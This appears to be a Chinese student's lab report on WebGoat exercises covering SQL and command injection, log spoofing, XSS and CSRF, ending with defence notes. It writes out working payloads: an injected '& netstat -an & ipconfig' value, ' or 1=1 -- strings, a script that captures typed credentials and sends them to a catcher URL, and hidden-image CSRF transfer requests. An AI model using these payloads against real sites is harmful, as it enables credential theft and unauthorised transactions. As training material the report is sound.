2019-2020-2 20175305张天钰《网络对抗技术》Exp9 Web安全基础
2019-2020-2 20175305张天钰《网络对抗技术》Exp9 Web安全基础
一、知识储备
-
SQL注入
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
就是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 -
XSS攻击
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。 -
CSRF攻击
Cross Site Request Forgery跨站请求伪造
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证。只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。
二、实践过程记录
任务一:WebGoat安装
因WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。
普通安装,命令行输入java -jar webgoa t-container-7.0.1-war-exec.jar。
浏览器转:localhost:8080/WebGoat 直接用默认用户名密码登录即可,开始练习。
任务二:SQL注入攻击
1.命令注入
先在左侧点击Injection Flaws,Command Injection,再右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"
点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!
2.日志欺骗
点击Injection Flaws-Log Spoofing
在User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回车0D%和换行符%0A让其在日志中两行显示
输入密码后点击Login,可以看到webgoat在Login Fail那行显示,我们自己添加的语句在下一行显示。
3.字符串注入String SQL Injection
基于SELECT * FROM user_data WHERE last_name = '?'查询语句构造自己的SQL注入字符串,姓名框输入20175305' or 1=1--,执行后可以看到所有人的卡号等信息:
4.LAB: SQL Injection
在密码框输入' or 1=1 --,登录失败,会发现密码只有一部分输入,说明密码长度有限制。
我们在密码框右键选择inspect Element审查网页元素对长度进行修改 。
重新输入' or 1=1 --,登录成功。
任务三:XSS攻击
1. Phishing with XSS 跨站脚本钓鱼攻击
一个带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
在XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单。
现在我们需要一段脚本:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
将上面两段代码合并搜索
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。
2.存储型XSS攻击(Stored XSS Attacks)
在title中任意输入字符,留言板中输入
点击刚才输入的title,然后会弹出一个对话框,证明XSS攻击成功。
3. Reflected XSS Attacks 反射型XSS攻击
在Enter your three digit access code:中输入点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。
任务四、CSRF攻击
1.Cross Site Request Forgery(CSRF)
点击XSS-Cross Site Request Forgery(CSRF)
查看页面右下方Parameters中的src和menu值.
在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=520&menu=900&transferFunds=10000" width="1" height="1"
/>,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=10000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的10000元,从而达到CSRF攻击的目的。
2. CSRF Prompt By-Pass
点击XSS-CSRF Prompt By-Pass
同上面的攻击,查看页面右下方的Parameters中的src和menu值,并输入任意的Title,message框中输入代码
<iframe src="attack?Screen=536&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=536&menu=900&transferFunds=CONFIRM"> </iframe>
点击Submit生成以Title命名的链接,点击链接,攻击成功
三、基础问题回答
1.SQL注入攻击原理,如何防御?
原理:
应用程序会将输入带入后台的SQL查询语句
Web应用对后台数据库查询语句处理存在的安全漏洞
在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查
后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果
防御:
使用正则表达式过滤传入的参数
检查输入数据类型和格式,不允许用户输入'、--、#
关闭或删除不必要的交互式提交表单页面
不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点
jsp中调用函数检查是否包函非法字符,做好规范的校验工作,比如搜索框不能输入非法字符、限制输入的长度等
使用prepared statements语句绑定变量来执行SQL字符串
2.XSS攻击的原理,如何防御?
原理:
XSS是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义防御手段
防御:
用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
网页制作者角度:
对输入和URL参数进行过滤
在输出数据之前对潜在的威胁的字符进行编码、转义
3.CSRF攻击原理,如何防御?
原理:
CSRF :跨站请求伪造。
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
- 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
防御:
验证请求中的Token
验证 Referer
添加加随机验证
设定cookie域
四、实验总结与体会
这次实验学习了SQL注入攻击、XSS攻击和CSRF攻击,本次实验的难点在于webgoat的使用。在webgoat的列表中有很多的模块,知识点非常多,理解起来怎么说呢,感觉有意思却又晦涩,哈哈还是得慢慢学习,终于课程要求的实验做完啦,感觉非常充实,收获最大的就是如何自己一个人动手解决各种各样的难题。